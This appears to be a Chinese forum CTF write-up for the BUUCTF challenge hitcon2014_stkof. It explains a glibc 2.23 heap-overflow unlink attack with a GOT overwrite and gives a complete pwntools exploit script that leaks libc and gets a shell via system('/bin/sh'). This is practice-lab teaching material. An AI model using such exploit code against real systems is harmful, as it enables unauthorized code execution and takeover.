[unlink]hitcon2014_stkof
本帖最后由 bnuzgn 于 2023-10-1 13:57 编辑题目来源
buuctf——hitcon2014_stkof
参考链接
https://blog.csdn.net/mcmuyanga/article/details/112602827
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/
题目信息
libc_2.23、64位
没有setbuf函数,因此程序不会自动申请标准输入与标准输出的堆空间(大小为0x410),且这些堆空间是用的时候才会被申请的,因此本题中申请的第一个堆会被两个0x410的堆夹在中间。
add函数中初始化了堆大小
edit函数由用户自定义大小,可以溢出
注意,free函数会将结构体的地址清零,从而无法构造unlink链。
show函数无法控制输出的内容,本题中不会使用。
解题思路
unlink的常见利用方式仅限于2.27之前,也只有本题利用了unlink,算是小众方法。【特殊性】由于show函数的缘故,无法通过常规方法通过puts函数输出puts_got最后得到libc的地址,所以需要修改结构体的地址为free_got再用edit函数将内容指向puts_plt,才可以得到puts_got。
【类比】这种思路同fastbin attack相同,都是直接修改结构体的内容,但是本题找不到=、=。
【解法】
[*]申请三个chunk,包含头部大小分别为0x20,0x30,0x90,chunk 1用来setbuf献祭,0x30删去0x10的head剩下0x20构造已经被释放的fake chunk的结构,0x90用于触发unlink。
[*]编辑chunk 2,构造fake chunk并修改chunk 2的head:
[*]在0x20的内容段中填写 p64(0) + p64(0x21) + p64(bss + 0x10 -0x18) + p64(bss + 0x10 -0x10),前两个是head,后两个是fd和bk(原理参考链接1)
[*]溢出修改chunk 3的head,将previous size改成0x20,size段中0x91改成0x90
[*]释放chunk3,此时chunk2的结构体的内容将会被修改为这个结构体的地址-0x18
[*]编辑chunk2可以修改结构体的内容了
[*]修改free_got指向puts_plt
关键步骤
[*]构造fake chunk,填写fd与bk
[*]修改free_got指向puts_plt,而不是将free_plt指向puts_got。后者虽然看起来逻辑通顺,前者多了两个环节,但是如此一来_dl_runtime_resolve中的表项就对不上了,会报错(原理参考链接2)
wp#coding: utf-8
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
pc = "./hitcon2014_stkof"
if __name__ == '__main__':
local = sys.argv
if local == '1':
r= process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r=remote("node4.buuoj.cn",28964)
elf = ELF(pc)
libc = elf.libc
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
def add(size):
sl("1")
sl(str(size))
def edit(index,content):
sl("2")
sl(str(index))
sl(str(len(content)))
sl(content)
def free(index):
sl("3")
sl(str(index))
def show(index):
sl("4")
sl(str(index))
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
bss = 0x602140
target = bss+0x10
add(0x10) #1
add(0x20) #2
add(0x80) #3
add(0x20) #4
payload = p64(0) + p64(0x21) + p64(target-0x18) + p64(target-0x10) + p64(0x20) + p64(0x90)
edit(2,payload)
free(3)
# db()
payload = p64(0) + p64(free_got) + p64(puts_got)
edit(2,payload)
edit(0,p64(puts_plt))
free(1)
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym["system"]
lg('libc_base')
# db()
edit(4,"/bin/sh")
edit(0,p64(system_addr))
free(4)
ti()
看着很厉害的样子,可惜我不懂,给你个大赞 大神级别,小菜是看不懂的
页:
[1]